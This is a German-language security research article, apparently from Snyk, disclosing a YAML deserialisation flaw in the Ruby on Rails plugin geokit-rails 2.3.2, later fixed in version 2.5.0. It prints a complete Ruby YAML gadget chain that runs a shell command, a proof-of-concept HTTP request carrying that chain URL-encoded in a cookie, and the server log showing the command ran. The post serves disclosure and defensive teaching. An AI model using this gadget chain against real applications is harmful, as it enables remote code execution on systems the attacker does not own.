YAML-Deserialisierung mit Snyk Code finden

Ich habe untersucht, wie sich YAML-Injection-Probleme in Open-Source-Projekten mit Snyk Code identifizieren lassen. Die Schwachstelle selbst ist zwar nicht neu, doch die potenziellen Auswirkungen einer YAML-Injection sind erheblich – ein guter Grund, sie näher zu untersuchen. Dabei wurden mehrere Probleme in Open-Source-Projekten entdeckt, die in Python, PHP und Ruby geschrieben sind. Dieser Artikel befasst sich mit dem Problem in Version 2.3.2 von geokit-rails, einem Plugin für Ruby on Rails

YAML

YAML ist mehr als ein einfaches Datenaustauschformat wie JSON. Die Spezifikation beschreibt eine Reihe fortgeschrittener Funktionen, die es für Sicherheitsuntersuchungen interessant machen, darunter:

• Benutzerdefinierte Tags (z. B. PyYAML)

• Anker und Aliase

• Zusammengeführte Attribute

• Streams mit mehreren Dokumenten

YAML kann außerdem dazu verwendet werden, Binärdaten und beliebige Objekte in verschiedenen Sprachen zu serialisieren. Das kann zu Deserialisierungsschwachstellen führen. Diese Schwachstellen stehen im Mittelpunkt dieser Untersuchung, da eine erfolgreiche Ausnutzung häufig Remote Code Execution (RCE) ermöglicht.

YAML-Deserialisierung in Ruby

In Ruby ist das Parsen von YAML in die Kernsprache integriert, sodass keine zusätzlichen Bibliotheken benötigt werden. Wenn eine Anwendung den integrierten Ruby-YAML-Parser verwendet, ist sie anfällig für Deserialisierungsangriffe, wenn YAML.load() oder YAML.load_file() anstelle von YAML.safe_load() beziehungsweise YAML.safe_load_file() verwendet wird. Eine alternative YAML-Parser-Lösung, die standardmäßig sicher ist, bietet das Projekt SafeYAML.

Das folgende Skript und seine Ausgabe zeigen, wie sich YAML unsicher mit YAML.load() laden lässt.

1require 'yaml'
2
3var = {
4 id: 1,
5 desc: 'A simple hash'
6}
7
8yaml = '---
9:id: 1
10:desc: A simple hash'
11
12puts var
13puts YAML.load(yaml)
14
15# Prints:
16
17{:id=>1, :desc=>"A simple hash"}
18{:id=>1, :desc=>"A simple hash"}

Die Variable var enthält einen einfachen Ruby-Hash, während die Variable yaml denselben Hash in serialisierter YAML-Form enthält. Beide puts-Anweisungen geben denselben Hash aus, da die Variable yaml mit YAML.load(). aus einem YAML-String wieder in einen Hash deserialisiert wurde. Auch komplexere Objekte lassen sich auf diese Weise serialisieren und deserialisieren. 

In der Anfangsphase dieser Untersuchung stieß ich auf ein universelles Gadget zur Ruby-YAML-Deserialisierung, das mit Ruby-Versionen von 2.x bis 3.x funktionierte und bei der Deserialisierung die Ausführung beliebiger Befehle auslöste.

1---
2- !ruby/object:Gem::Installer
3    i: x
4- !ruby/object:Gem::SpecFetcher
5    i: y
6- !ruby/object:Gem::Requirement
7  requirements:
8    !ruby/object:Gem::Package::TarReader
9    io: &1 !ruby/object:Net::BufferedIO
10      io: &1 !ruby/object:Gem::Package::TarReader::Entry
11         read: 0
12         header: "abc"
13      debug_output: &1 !ruby/object:Net::WriteAdapter
14         socket: &1 !ruby/object:Gem::RequestSet
15             sets: !ruby/object:Net::WriteAdapter
16                 socket: !ruby/module 'Kernel'
17                 method_id: :system
18             git_set: id
19         method_id: :resolve

Die obige YAML-Payload führt bei der Deserialisierung den Befehl id aus, wenn sie mit YAML.load() oder YAML.load_file(). geparst wird.

Fallstudie: geokit-rails (2.3.2)

Das geokit-rails-Gem ist ein Plugin für Ruby on Rails, das der Anwendung Standortdienste bereitstellt. Das Plugin verwendet über die Methode retrieve_location_from_cookie_or_service() in geokit-rails/ip_geocode_lookup.rb die unsichere Methode YAML.load():

1# Uses the stored location value from the cookie if it exists.  If
2# no cookie exists, calls out to the web service to get the location.
3def retrieve_location_from_cookie_or_service
4 return GeoLoc.new(YAML.load(cookies[:geo_location])) if cookies[:geo_location]
5 location = Geocoders::MultiGeocoder.geocode(get_ip_address)
6 return location.success ? location : nil
7end

Die Daten, die an die unsichere Methode YAML.load() übergeben werden, stammen aus dem Ruby-on-Rails-Parameter cookies, der die in der Anfrage übermittelten Cookies enthält. Das ist eine gute Nachricht für Angreifer, denn die Cookies lassen sich durch eine entsprechend gestaltete HTTP-Anfrage direkt kontrollieren. 

Proof of Concept

Ich habe eine Rails-Anwendung mit dem Plugin geokit-rails (Version 2.3.2) unter Ruby 3.0.0 eingerichtet. Um das Problem auszunutzen, wurde die folgende HTTP-Anfrage an die Anwendung gesendet. Sie enthält die URL-kodierte YAML-Payload im Cookie geo_location.

1GET http://127.0.0.1:3000/vulns HTTP/1.1
2Host: 127.0.0.1:3000
3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5Accept-Language: en-GB,en;q=0.5
6Connection: keep-alive
7Upgrade-Insecure-Requests: 1
8Sec-Fetch-Dest: document
9Sec-Fetch-Mode: navigate
10Sec-Fetch-Site: none
11Sec-Fetch-User: ?1
12Content-Length: 0
13Cookie: geo_location=---%0A-+%21ruby%2Fobject%3AGem%3A%3AInstaller%0A++++i%3A+x%0A-+%21ruby%2Fobject%3AGem%3A%3ASpecFetcher%0A++++i%3A+y%0A-+%21ruby%2Fobject%3AGem%3A%3ARequirement%0A++requirements%3A%0A++++%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%0A++++io%3A+%261+%21ruby%2Fobject%3ANet%3A%3ABufferedIO%0A++++++io%3A+%261+%21ruby%2Fobject%3AGem%3A%3APackage%3A%3ATarReader%3A%3AEntry%0A+++++++++read%3A+0%0A+++++++++header%3A+%22abc%22%0A++++++debug_output%3A+%261+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++socket%3A+%261+%21ruby%2Fobject%3AGem%3A%3ARequestSet%0A+++++++++++++sets%3A+%21ruby%2Fobject%3ANet%3A%3AWriteAdapter%0A+++++++++++++++++socket%3A+%21ruby%2Fmodule+%27Kernel%27%0A+++++++++++++++++method_id%3A+%3Asystem%0A+++++++++++++git_set%3A+id%0A+++++++++method_id%3A+%3Aresolve; _my_rails_app_session=%2B48ny21MkgVzlJR4LMcsdNtOK0G1aHx0%2Byoz4xLnkaMHrCner7YSRfQ04notQ0oNesQdG4EV5T%2FpyrQBSKBdKOZLLvP2J1NLOAQe1Z5zTTuu5Grcw1wuRpIHKAmZjfj3bqKqghkOj1JpOBxJoxFS7L6cH3wIsoq%2FrK%2BlAxVvP%2F8F9g5Q%2FA3pLVj2DTF3l7CcDBzOE9cPCOShesP717YbZNoa%2BPNf3mGjmKWvq26Y3CKMg2z7mAJHA%2B0CdA9l2pXsbrgwRJUW3Epqx4eJt0%2FDCJgS6Mp7rGjQeoIqLj4%3D--YAEA%2FepI0t701ifo--fVitYcX5PORz3a9xN4ev4A%3D%3D; __profilin=p%3Dt

In der Rails-Anwendung wurde die Payload deserialisiert und ausgeführt. Dabei wurde der Befehl id ausgeführt, um die Befehlsausführung nachzuweisen.

1Started GET "/vulns" for 127.0.0.1 at 2022-11-07 12:05:57 +0000 Processing by VulnsController#index as HTML 
2sh: reading: command not found 
3uid=501(calumh) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) 
4Completed 500 Internal Server Error in 167ms (Allocations: 35610)

Bei einem System mit geokit-rails könnte ein Angreifer diese Schwachstelle ausnutzen, um RCE auszulösen und möglicherweise das gesamte System zu übernehmen. 

Behebung

Das Problem wurde verantwortungsvoll an den Maintainer von geokit-rails gemeldet und in Version 2.5.0 der Software behoben, indem die YAML-Daten mit den Koordinaten durch JSON ersetzt wurden. Im Zuge dieser Untersuchung wurden die Regeln von Snyk Code zur Erkennung von YAML-Injection verbessert und erweitert, sodass nun noch mehr solcher Probleme in den Projekten von Nutzerinnen und Nutzern erkannt werden sollten.